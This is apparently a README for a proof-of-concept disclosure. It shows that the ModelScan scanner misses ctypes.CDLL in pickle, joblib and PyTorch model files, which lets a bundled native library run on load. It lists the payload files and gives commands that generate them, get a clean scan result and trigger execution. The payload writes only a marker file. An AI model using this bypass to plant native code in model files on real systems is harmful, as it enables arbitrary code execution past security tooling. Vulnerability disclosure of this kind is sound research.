| --- |
| license: mit |
| tags: |
| - security-research |
| - proof-of-concept |
| --- |
| |
| # ModelScan Scanner Bypass via ctypes.CDLL — Native Code Execution |
|
|
| **Security research artifact. Do not use in production.** |
|
|
| ModelScan v0.8.8 does not include `ctypes` in its unsafe_globals blocklist. `ctypes.CDLL()` loads a native shared library (.so/.dll/.dylib) via the operating system's dynamic linker, executing compiled machine code — not Python exec(), but arbitrary CPU instructions with direct syscall access. |
| |
| The .pt variant bundles the .so inside the ZIP archive, creating a single-file attack. |
| |
| ## Files |
| |
| - `evil.so` - compiled shared library payload (writes proof file on load) |
| - `malicious_ctypes.pkl` - pickle file with ctypes.CDLL payload |
| - `malicious_ctypes.joblib` - same payload as joblib |
| - `malicious_ctypes.pt` - PyTorch format with .so bundled inside the ZIP archive |
| - `poc_ctypes_bypass.py` - generator script (compiles .so + generates all variants) |
|
|
| ## Reproduction |
|
|
| ```bash |
| pip install modelscan |
| |
| # Generate all payloads (requires gcc): |
| python3 poc_ctypes_bypass.py |
| |
| # Scanner reports clean on all variants: |
| modelscan --path malicious_ctypes.pkl |
| # Output: "No issues found" |
| |
| modelscan --path malicious_ctypes.joblib |
| # Output: "No issues found" |
| |
| # Verify native code execution: |
| python3 -c "import pickle; pickle.load(open('malicious_ctypes.pkl','rb'))" |
| cat /tmp/ctypes_pwned.txt |
| # Output: "RCE achieved via ctypes.CDLL constructor execution" |
| ``` |
|
|